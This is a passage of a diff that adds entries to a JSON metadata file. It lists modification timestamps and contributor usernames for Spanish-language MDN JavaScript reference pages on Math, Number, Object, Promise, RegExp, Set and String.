+  "Web/JavaScript/Referencia/Objetos_globales/Math/PI": {
+    "modified": "2019-03-23T22:21:48.729Z",
+    "contributors": [
+      "aocodermx"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/SQRT1_2": {
+    "modified": "2019-03-23T22:22:44.049Z",
+    "contributors": [
+      "aocodermx"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/SQRT2": {
+    "modified": "2019-03-23T22:18:15.216Z",
+    "contributors": [
+      "geradrum"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/abs": {
+    "modified": "2019-10-29T19:51:46.768Z",
+    "contributors": [
+      "jaomix1",
+      "jezdez",
+      "Sotelio"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/acos": {
+    "modified": "2020-10-15T21:58:17.630Z",
+    "contributors": [
+      "Enesimus"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/acosh": {
+    "modified": "2020-10-15T21:59:09.931Z",
+    "contributors": [
+      "nickobre",
+      "Enesimus"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/asin": {
+    "modified": "2019-03-23T22:11:21.124Z",
+    "contributors": [
+      "hckt"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/asinh": {
+    "modified": "2020-10-15T22:00:15.403Z",
+    "contributors": [
+      "josegarciamanez"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/atan": {
+    "modified": "2020-10-15T22:02:19.566Z",
+    "contributors": [
+      "alejocas"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/atan2": {
+    "modified": "2019-03-23T22:52:46.887Z",
+    "contributors": [
+      "maik10s"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/atanh": {
+    "modified": "2020-11-01T00:27:58.552Z",
+    "contributors": [
+      "carlitosnu41"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/cbrt": {
+    "modified": "2020-11-01T15:23:46.179Z",
+    "contributors": [
+      "carlitosnu41"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/ceil": {
+    "modified": "2020-10-15T21:49:24.207Z",
+    "contributors": [
+      "RubiVG",
+      "AlePerez92",
+      "d-go",
+      "abestrad1",
+      "ManuelRubio",
+      "ars1614",
+      "Roberto2883"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/cos": {
+    "modified": "2020-10-15T22:32:41.209Z",
+    "contributors": [
+      "JGalazan"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/exp": {
+    "modified": "2019-03-23T22:13:13.656Z",
+    "contributors": [
+      "maramal"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/expm1": {
+    "modified": "2020-11-19T20:10:09.526Z",
+    "contributors": [
+      "lpg7793"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/floor": {
+    "modified": "2020-11-03T13:27:31.226Z",
+    "contributors": [
+      "LuisGalicia",
+      "reymundus2",
+      "dherrero",
+      "teoli",
+      "ethertank",
+      "harleshinn"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/fround": {
+    "modified": "2020-10-15T22:21:30.568Z",
+    "contributors": [
+      "Itaiu"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/hypot": {
+    "modified": "2020-10-15T22:01:35.023Z",
+    "contributors": [
+      "AzazelN28",
+      "MarioECU"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/log": {
+    "modified": "2020-10-15T22:16:12.754Z",
+    "contributors": [
+      "reymundus2"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/log10": {
+    "modified": "2019-03-23T22:26:16.691Z",
+    "contributors": [
+      "amcrsanchez"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/log2": {
+    "modified": "2020-10-15T22:02:09.980Z",
+    "contributors": [
+      "asdrubalivan"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/max": {
+    "modified": "2019-03-23T22:58:23.136Z",
+    "contributors": [
+      "roberbnd",
+      "kutyel",
+      "alonso.vazquez",
+      "teoli",
+      "allangonzalezmiceli"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/min": {
+    "modified": "2019-03-23T22:39:26.032Z",
+    "contributors": [
+      "kutyel",
+      "alonso.vazquez"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/pow": {
+    "modified": "2020-05-11T01:41:03.777Z",
+    "contributors": [
+      "paguilar",
+      "carral"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/random": {
+    "modified": "2019-03-23T23:00:21.676Z",
+    "contributors": [
+      "hdesoto",
+      "CarlosLinares",
+      "Sotelio",
+      "daiant"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/round": {
+    "modified": "2020-07-28T16:21:17.637Z",
+    "contributors": [
+      "FacundoF1",
+      "herediando",
+      "Maletil",
+      "emergugue",
+      "YerkoPalma"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/seno": {
+    "modified": "2019-03-23T22:51:39.313Z",
+    "contributors": [
+      "jezdez",
+      "germanfr"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/sign": {
+    "modified": "2019-03-23T22:16:42.806Z",
+    "contributors": [
+      "Vickysolo",
+      "frankman123"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/sqrt": {
+    "modified": "2019-03-23T22:28:35.014Z",
+    "contributors": [
+      "MarioECU",
+      "periplox",
+      "javodg",
+      "LotarMC"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/tan": {
+    "modified": "2020-10-15T22:30:22.119Z",
+    "contributors": [
+      "spaceinvadev"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/tanh": {
+    "modified": "2020-10-15T22:08:08.543Z",
+    "contributors": [
+      "smuurf"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Math/trunc": {
+    "modified": "2020-06-23T08:00:29.509Z",
+    "contributors": [
+      "GioSJ47",
+      "UlisesGascon",
+      "AldenGate",
+      "kenin4"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/NaN": {
+    "modified": "2020-03-12T19:36:10.137Z",
+    "contributors": [
+      "jaomix1",
+      "mjimcua",
+      "SphinxKnight",
+      "teoli",
+      "Garf",
+      "Mgjbot",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Number": {
+    "modified": "2020-11-24T10:13:32.926Z",
+    "contributors": [
+      "gise-s",
+      "charlietaracenadrums",
+      "carlintrujillo11",
+      "luispro19",
+      "Jethrotul",
+      "KamerrOficial",
+      "AlePerez92",
+      "olijyat",
+      "teoli",
+      "Mgjbot",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Number/MAX_SAFE_INTEGER": {
+    "modified": "2020-10-15T22:00:45.784Z",
+    "contributors": [
+      "urielmx"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Number/MAX_VALUE": {
+    "modified": "2019-03-23T22:40:03.550Z",
+    "contributors": [
+      "abaracedo",
+      "UlisesGascon"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Number/MIN_VALUE": {
+    "modified": "2019-03-23T22:39:33.277Z",
+    "contributors": [
+      "abaracedo"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Number/NEGATIVE_INFINITY": {
+    "modified": "2019-03-23T23:20:29.197Z",
+    "contributors": [
+      "teoli",
+      "jarneygm"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Number/NaN": {
+    "modified": "2020-10-15T22:30:30.437Z",
+    "contributors": [
+      "oldanirenzo"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Number/POSITIVE_INFINITY": {
+    "modified": "2019-03-23T23:20:30.481Z",
+    "contributors": [
+      "teoli",
+      "jarneygm"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Number/isFinite": {
+    "modified": "2020-10-15T22:02:19.829Z",
+    "contributors": [
+      "dahsser"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Number/isInteger": {
+    "modified": "2020-10-15T21:44:12.806Z",
+    "contributors": [
+      "AlePerez92",
+      "Rafaelox"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Number/isNaN": {
+    "modified": "2020-10-14T19:49:07.774Z",
+    "contributors": [
+      "alejandro.fca",
+      "abaracedo"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Number/isSafeInteger": {
+    "modified": "2020-10-15T22:02:33.932Z",
+    "contributors": [
+      "chrishenx"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Number/parseFloat": {
+    "modified": "2020-10-15T22:11:38.614Z",
+    "contributors": [
+      "pilichanampe",
+      "Chstrange",
+      "IsraelFloresDGA"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Number/parseInt": {
+    "modified": "2020-10-15T22:29:44.854Z",
+    "contributors": [
+      "HarryzMoba_10"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Number/prototype": {
+    "modified": "2019-03-23T23:46:16.155Z",
+    "contributors": [
+      "teoli",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Number/toFixed": {
+    "modified": "2020-05-26T21:48:51.844Z",
+    "contributors": [
+      "EtelS",
+      "HarryzMoba_10",
+      "BubuAnabelas",
+      "Apkahym",
+      "capgros",
+      "isabido"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Number/toLocaleString": {
+    "modified": "2020-11-04T23:22:26.363Z",
+    "contributors": [
+      "ccarruitero-mdn"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Number/toPrecision": {
+    "modified": "2020-10-15T22:05:51.600Z",
+    "contributors": [
+      "jtorresheredia"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Number/toString": {
+    "modified": "2019-06-15T08:43:31.612Z",
+    "contributors": [
+      "IbraBach",
+      "teoli",
+      "Mgjbot",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Number/valueOf": {
+    "modified": "2020-10-15T21:58:23.022Z",
+    "contributors": [
+      "Enesimus"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object": {
+    "modified": "2020-10-15T21:17:02.144Z",
+    "contributors": [
+      "luisjorquera",
+      "fedoroffs",
+      "ramirobg94",
+      "marcelorodcla",
+      "hecsoto1",
+      "gabrielrincon",
+      "fscholz",
+      "DanielAmaro",
+      "taniaReyesM",
+      "pedro-otero",
+      "ragutimar",
+      "hmorv",
+      "mishelashala",
+      "teoli",
+      "diegogaysaez",
+      "neosergio",
+      "Talisker",
+      "Mgjbot",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/__defineGetter__": {
+    "modified": "2019-03-23T22:39:13.909Z",
+    "contributors": [
+      "p1errot"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/__lookupGetter__": {
+    "modified": "2020-10-15T21:59:55.328Z",
+    "contributors": [
+      "al-shmlan",
+      "jerssonjgar"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/assign": {
+    "modified": "2020-10-15T21:34:18.548Z",
+    "contributors": [
+      "camsa",
+      "AlePerez92",
+      "sillo01",
+      "garolard",
+      "kdex",
+      "aelena",
+      "sgmonda",
+      "dzegarra",
+      "fortil",
+      "raerpo",
+      "Anonymous",
+      "mishelashala",
+      "fscholz"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/constructor": {
+    "modified": "2019-03-23T23:16:25.847Z",
+    "contributors": [
+      "alejandrochung",
+      "hugoleon46",
+      "teoli",
+      "chebit",
+      "carlosmantilla"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/create": {
+    "modified": "2020-11-08T21:02:55.557Z",
+    "contributors": [
+      "Hunter3195",
+      "jescas248",
+      "AlePerez92",
+      "jacoborus",
+      "teoli",
+      "Siro_Diaz",
+      "carlosmantilla"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/defineProperties": {
+    "modified": "2019-03-23T23:15:47.453Z",
+    "contributors": [
+      "Thargelion",
+      "mishelashala",
+      "teoli",
+      "guillermojmc"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/defineProperty": {
+    "modified": "2019-03-23T23:08:49.016Z",
+    "contributors": [
+      "JoanSerna",
+      "thejavo",
+      "EstherAF",
+      "mishelashala",
+      "victorgavilan",
+      "Siro_Diaz"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/entries": {
+    "modified": "2019-07-12T06:16:58.372Z",
+    "contributors": [
+      "ajuanjojjj",
+      "datencia",
+      "JooseNavarro"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/freeze": {
+    "modified": "2020-10-15T21:40:07.065Z",
+    "contributors": [
+      "D3Portillo",
+      "mariogl",
+      "AndresSepar",
+      "tw1ttt3r",
+      "mishelashala"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/fromEntries": {
+    "modified": "2020-10-15T22:16:55.358Z",
+    "contributors": [
+      "emileond",
+      "Belquira"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/getOwnPropertyDescriptor": {
+    "modified": "2020-04-01T17:55:45.485Z",
+    "contributors": [
+      "SoyZatarain",
+      "vcastrejont",
+      "UlisesGascon",
+      "mishelashala"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/getOwnPropertyDescriptors": {
+    "modified": "2020-10-15T22:04:17.154Z",
+    "contributors": [
+      "cbalderasc"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/getOwnPropertyNames": {
+    "modified": "2019-03-23T23:11:13.666Z",
+    "contributors": [
+      "teland"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/getOwnPropertySymbols": {
+    "modified": "2019-03-23T22:44:20.977Z",
+    "contributors": [
+      "SphinxKnight",
+      "mishelashala"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/getPrototypeOf": {
+    "modified": "2019-03-23T23:08:23.955Z",
+    "contributors": [
+      "tutugordillo",
+      "Siro_Diaz"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/hasOwnProperty": {
+    "modified": "2019-03-23T23:16:40.759Z",
+    "contributors": [
+      "mlealvillarreal",
+      "teoli",
+      "Siro_Diaz"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/is": {
+    "modified": "2020-10-25T20:02:03.267Z",
+    "contributors": [
+      "Cesaraugp",
+      "SphinxKnight",
+      "nothnk",
+      "adelamata"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/isExtensible": {
+    "modified": "2019-03-23T22:44:00.950Z",
+    "contributors": [
+      "mishelashala"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/isFrozen": {
+    "modified": "2019-03-23T22:44:03.171Z",
+    "contributors": [
+      "mishelashala"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/isPrototypeOf": {
+    "modified": "2019-03-23T22:31:29.220Z",
+    "contributors": [
+      "Grijander81"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/isSealed": {
+    "modified": "2020-10-15T22:04:16.292Z",
+    "contributors": [
+      "cbalderasc"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/keys": {
+    "modified": "2020-10-15T21:31:27.965Z",
+    "contributors": [
+      "jose-setaworkshop",
+      "SphinxKnight",
+      "animanoir",
+      "D3Portillo",
+      "_cuco_",
+      "MarkelCuesta",
+      "kdex",
+      "andrpueb",
+      "PBartrina",
+      "Sanuzzi",
+      "cristianjav",
+      "rcchristiane"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/preventExtensions": {
+    "modified": "2019-04-27T00:07:22.331Z",
+    "contributors": [
+      "mishelashala"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/propertyIsEnumerable": {
+    "modified": "2019-03-23T22:50:44.591Z",
+    "contributors": [
+      "aldoromo88"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/proto": {
+    "modified": "2019-03-23T22:45:52.056Z",
+    "contributors": [
+      "swsoftware",
+      "mishelashala",
+      "adelamata"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/prototype": {
+    "modified": "2020-10-15T21:28:24.470Z",
+    "contributors": [
+      "lajaso",
+      "Sergio_Gonzalez_Collado",
+      "educalleja",
+      "AlexanderEstebanZapata1994",
+      "emilianodiaz",
+      "mishelashala",
+      "teoli",
+      "diegogaysaez"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/seal": {
+    "modified": "2019-04-27T00:05:41.633Z",
+    "contributors": [
+      "JoniJnm",
+      "Grijander81"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/setPrototypeOf": {
+    "modified": "2019-03-23T22:43:30.332Z",
+    "contributors": [
+      "SphinxKnight",
+      "imangas",
+      "mishelashala"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/toLocaleString": {
+    "modified": "2020-10-15T22:31:29.977Z",
+    "contributors": [
+      "JotaCé"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/toSource": {
+    "modified": "2020-10-15T21:59:52.415Z",
+    "contributors": [
+      "taniaReyesM"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/toString": {
+    "modified": "2019-03-23T23:48:33.504Z",
+    "contributors": [
+      "gutyfas",
+      "pctux",
+      "lfottaviano",
+      "teoli",
+      "Mgjbot",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/valueOf": {
+    "modified": "2019-03-23T23:07:28.561Z",
+    "contributors": [
+      "JuanMacias",
+      "Gorzas",
+      "emiliot"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Object/values": {
+    "modified": "2020-10-15T21:51:49.001Z",
+    "contributors": [
+      "camsa",
+      "kraneok",
+      "AlePerez92",
+      "ramses512"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Promise": {
+    "modified": "2020-10-15T21:34:31.961Z",
+    "contributors": [
+      "chrisdavidmills",
+      "javigaralva",
+      "ManuelEsp",
+      "atpollmann",
+      "jwhitlock",
+      "zgluis",
+      "joseconstela",
+      "luisrodriguezchaves",
+      "LazaroOnline",
+      "leopic",
+      "teoli",
+      "JhonAlx",
+      "dennistobar",
+      "alagos",
+      "jorgecasar"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Promise/all": {
+    "modified": "2020-10-15T21:50:20.796Z",
+    "contributors": [
+      "baumannzone",
+      "isaies",
+      "jwhitlock",
+      "AlePerez92",
+      "FranBacoSoft"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Promise/catch": {
+    "modified": "2020-10-15T21:54:38.286Z",
+    "contributors": [
+      "JuanMacias",
+      "JoseGB",
+      "walbuc"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Promise/finally": {
+    "modified": "2020-10-15T22:16:46.629Z",
+    "contributors": [
+      "javigallego",
+      "smvilar"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Promise/prototype": {
+    "modified": "2020-10-15T21:52:03.650Z",
+    "contributors": [
+      "atpollmann"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Promise/race": {
+    "modified": "2020-10-15T21:50:20.173Z",
+    "contributors": [
+      "JuanMacias",
+      "jwhitlock",
+      "FranBacoSoft"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Promise/reject": {
+    "modified": "2020-10-15T22:00:43.489Z",
+    "contributors": [
+      "edeyglez95",
+      "kalozoya",
+      "giturra"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Promise/resolve": {
+    "modified": "2020-10-15T22:06:37.624Z",
+    "contributors": [
+      "HappyEduardoMilk",
+      "ChristianMarca"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Promise/then": {
+    "modified": "2020-11-30T12:11:41.749Z",
+    "contributors": [
+      "StripTM",
+      "MichaelOrdaz",
+      "PatoDeTuring",
+      "FreakLevel",
+      "snake77se",
+      "Takyo",
+      "smvilar",
+      "Knskan3",
+      "JurgenBlitz",
+      "DaniLaguna",
+      "MarkelCuesta",
+      "manumora"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Proxy": {
+    "modified": "2020-10-30T19:48:13.357Z",
+    "contributors": [
+      "Ramdhei-codes",
+      "CristalT",
+      "carloslfu",
+      "pedro-otero",
+      "eContento",
+      "kdex",
+      "pedropablomt95"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/ReferenceError": {
+    "modified": "2020-10-15T22:33:51.476Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/RegExp": {
+    "modified": "2020-10-15T21:12:12.221Z",
+    "contributors": [
+      "Nachec",
+      "lord-reptilia",
+      "wbamberg",
+      "angeldomp49",
+      "F94Olivera",
+      "EstebanVictorio",
+      "teoli",
+      "fmvilas",
+      "Sole",
+      "marcoslhc",
+      "lmorchard",
+      "Scipion",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/RegExp/RegExp": {
+    "modified": "2020-10-15T22:34:22.734Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/RegExp/compile": {
+    "modified": "2020-10-15T22:23:39.381Z",
+    "contributors": [
+      "raiman264"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/RegExp/exec": {
+    "modified": "2019-03-23T22:08:57.043Z",
+    "contributors": [
+      "Sebastiancbvz"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/RegExp/ignoreCase": {
+    "modified": "2019-03-23T22:10:00.611Z",
+    "contributors": [
+      "Cuadraman"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/RegExp/rightContext": {
+    "modified": "2020-10-15T22:22:06.547Z",
+    "contributors": [
+      "higuitadiaz"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/RegExp/test": {
+    "modified": "2019-03-23T22:20:42.368Z",
+    "contributors": [
+      "Undre4m"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/RegExp/toString": {
+    "modified": "2019-03-23T22:20:44.971Z",
+    "contributors": [
+      "Undre4m"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Set": {
+    "modified": "2020-10-15T21:43:41.104Z",
+    "contributors": [
+      "camsa",
+      "IsraelFloresDGA",
+      "albertor21",
+      "robe007",
+      "taniaReyesM",
+      "mjlescano",
+      "germanio",
+      "frank-orellana",
+      "Chofoteddy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Set/@@iterator": {
+    "modified": "2020-10-15T22:23:37.310Z",
+    "contributors": [
+      "devtoni"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Set/add": {
+    "modified": "2019-03-23T22:37:23.989Z",
+    "contributors": [
+      "Chofoteddy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Set/clear": {
+    "modified": "2019-03-23T22:25:09.145Z",
+    "contributors": [
+      "frank-orellana"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Set/delete": {
+    "modified": "2019-03-23T22:25:14.047Z",
+    "contributors": [
+      "frank-orellana"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Set/entries": {
+    "modified": "2020-10-15T22:06:44.315Z",
+    "contributors": [
+      "AMongeMoreno"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Set/has": {
+    "modified": "2019-03-23T22:25:15.879Z",
+    "contributors": [
+      "frank-orellana"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Set/size": {
+    "modified": "2019-03-23T22:37:32.002Z",
+    "contributors": [
+      "albertor21",
+      "Chofoteddy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/Set/values": {
+    "modified": "2020-10-15T22:23:08.370Z",
+    "contributors": [
+      "jvelasquez-cl"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String": {
+    "modified": "2020-10-15T21:15:27.929Z",
+    "contributors": [
+      "Nachec",
+      "robertsallent",
+      "sujumayas",
+      "AriManto",
+      "BubuAnabelas",
+      "wbamberg",
+      "SphinxKnight",
+      "Gilbertrdz",
+      "vik231982",
+      "alejandrochung",
+      "DevManny",
+      "teoli",
+      "ADP13",
+      "Talisker",
+      "Mgjbot",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/Trim": {
+    "modified": "2019-08-18T16:00:14.454Z",
+    "contributors": [
+      "valen2004vega",
+      "raulgg",
+      "baumannzone",
+      "andrpueb",
+      "thzunder",
+      "AnuarMB"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/anchor": {
+    "modified": "2019-03-23T23:48:20.117Z",
+    "contributors": [
+      "paradoja",
+      "teoli",
+      "Talisker",
+      "Mgjbot"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/big": {
+    "modified": "2019-03-23T23:48:12.468Z",
+    "contributors": [
+      "Feder1997Clinton",
+      "teoli",
+      "Talisker",
+      "Mgjbot"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/blink": {
+    "modified": "2019-03-23T23:48:14.789Z",
+    "contributors": [
+      "teoli",
+      "Talisker",
+      "Mgjbot"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/bold": {
+    "modified": "2019-03-23T23:48:17.641Z",
+    "contributors": [
+      "teoli",
+      "Talisker",
+      "Mgjbot"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/charAt": {
+    "modified": "2019-03-23T23:48:14.397Z",
+    "contributors": [
+      "manatico4",
+      "thepianist2",
+      "Undre4m",
+      "AnuarMB",
+      "teoli",
+      "Talisker",
+      "Mgjbot"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/charCodeAt": {
+    "modified": "2019-03-23T23:48:12.586Z",
+    "contributors": [
+      "GermanRodrickson",
+      "VGamezz19",
+      "teoli",
+      "Talisker",
+      "Mgjbot"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/codePointAt": {
+    "modified": "2020-10-15T21:56:01.225Z",
+    "contributors": [
+      "thepianist2"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/concat": {
+    "modified": "2020-11-17T12:46:24.732Z",
+    "contributors": [
+      "AlePerez92",
+      "thepianist2",
+      "Aldomolina",
+      "teoli",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/endsWith": {
+    "modified": "2020-11-17T13:03:14.946Z",
+    "contributors": [
+      "AlePerez92",
+      "emibloque",
+      "SphinxKnight",
+      "thzunder"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/fixed": {
+    "modified": "2019-03-23T23:48:13.182Z",
+    "contributors": [
+      "teoli",
+      "Talisker",
+      "Mgjbot"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/fontcolor": {
+    "modified": "2019-03-23T22:43:01.091Z",
+    "contributors": [
+      "thzunder"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/fontsize": {
+    "modified": "2019-03-23T22:42:58.033Z",
+    "contributors": [
+      "thzunder"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/fromCharCode": {
+    "modified": "2019-03-23T23:48:18.539Z",
+    "contributors": [
+      "pierina27",
+      "teoli",
+      "Mgjbot",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/fromCodePoint": {
+    "modified": "2019-03-23T22:54:48.266Z",
+    "contributors": [
+      "SphinxKnight",
+      "iKenshu"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/includes": {
+    "modified": "2020-11-17T13:18:02.027Z",
+    "contributors": [
+      "AlePerez92",
+      "Fjaguero",
+      "JuanMacias",
+      "mikekrn",
+      "jairoFg12"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/indexOf": {
+    "modified": "2019-03-18T21:12:49.473Z",
+    "contributors": [
+      "aalmadar",
+      "diegoazh",
+      "ArisChuck",
+      "WillyMaikowski",
+      "teoli",
+      "Tetrix",
+      "Talisker"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/italics": {
+    "modified": "2019-03-23T23:48:19.418Z",
+    "contributors": [
+      "teoli",
+      "Talisker",
+      "Mgjbot"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/lastIndexOf": {
+    "modified": "2019-03-23T23:48:26.628Z",
+    "contributors": [
+      "chepegeek",
+      "imNicoSuarez",
+      "teoli",
+      "Talisker",
+      "Mgjbot"
+    ]
+  },
+  "Web/JavaScript/Referencia/Objetos_globales/String/length": {
